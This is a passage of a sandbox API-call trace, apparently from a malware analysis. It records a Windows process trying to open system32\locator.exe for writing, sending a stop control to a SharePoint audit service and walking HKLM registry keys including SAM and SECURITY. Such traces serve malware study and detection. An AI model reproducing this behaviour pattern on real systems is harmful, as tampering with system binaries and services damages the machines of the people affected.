BaseAddress=0x21f1898) returned 1 [0228.793] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0228.793] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec5967c5, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xec5967c5, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x7cac000, ftLastWriteTime.dwHighDateTime=0x1ca0416, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0228.793] CreateFileW (lpFileName="C:\\Windows\\system32\\locator.exe" (normalized: "c:\\windows\\system32\\locator.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0228.793] GetLastError () returned 0x20 [0228.793] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0228.794] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0228.794] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0228.794] OpenServiceW (hSCManager=0x803918, lpServiceName="Microsoft SharePoint Workspace Audit Service", dwDesiredAccess=0x20) returned 0x8038a0 [0228.794] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0228.795] GetLastError () returned 0x425 [0228.795] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0228.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0228.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0228.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0228.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0228.795] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0228.795] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0228.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0228.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0228.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.796] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0228.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0228.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.796] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0228.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0228.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.796] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0228.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0228.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.796] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0228.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0228.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.797] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0228.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0228.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.797] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0228.797] RegCloseKey (hKey=0x80000002) returned 0x0 [0228.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0228.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0228.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0228.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0228.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1cd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0228.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0228.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0228.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1bf8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0228.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0228.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0228.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0228.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0228.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0228.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0228.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0228.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0228.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0228.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0228.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0228.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0228.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0228.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.800] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0228.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0228.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.800] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0228.800] RegCloseKey (hKey=0xc4) returned 0x0 [0228.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0228.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0228.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0228.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.800] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0228.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0228.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0228.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0228.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0228.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0228.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0228.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0228.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0228.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0228.801] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0228.801] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0228.801] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0228.801] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0228.801] RtlAllocateHeap (HeapHandle=0x2520000, 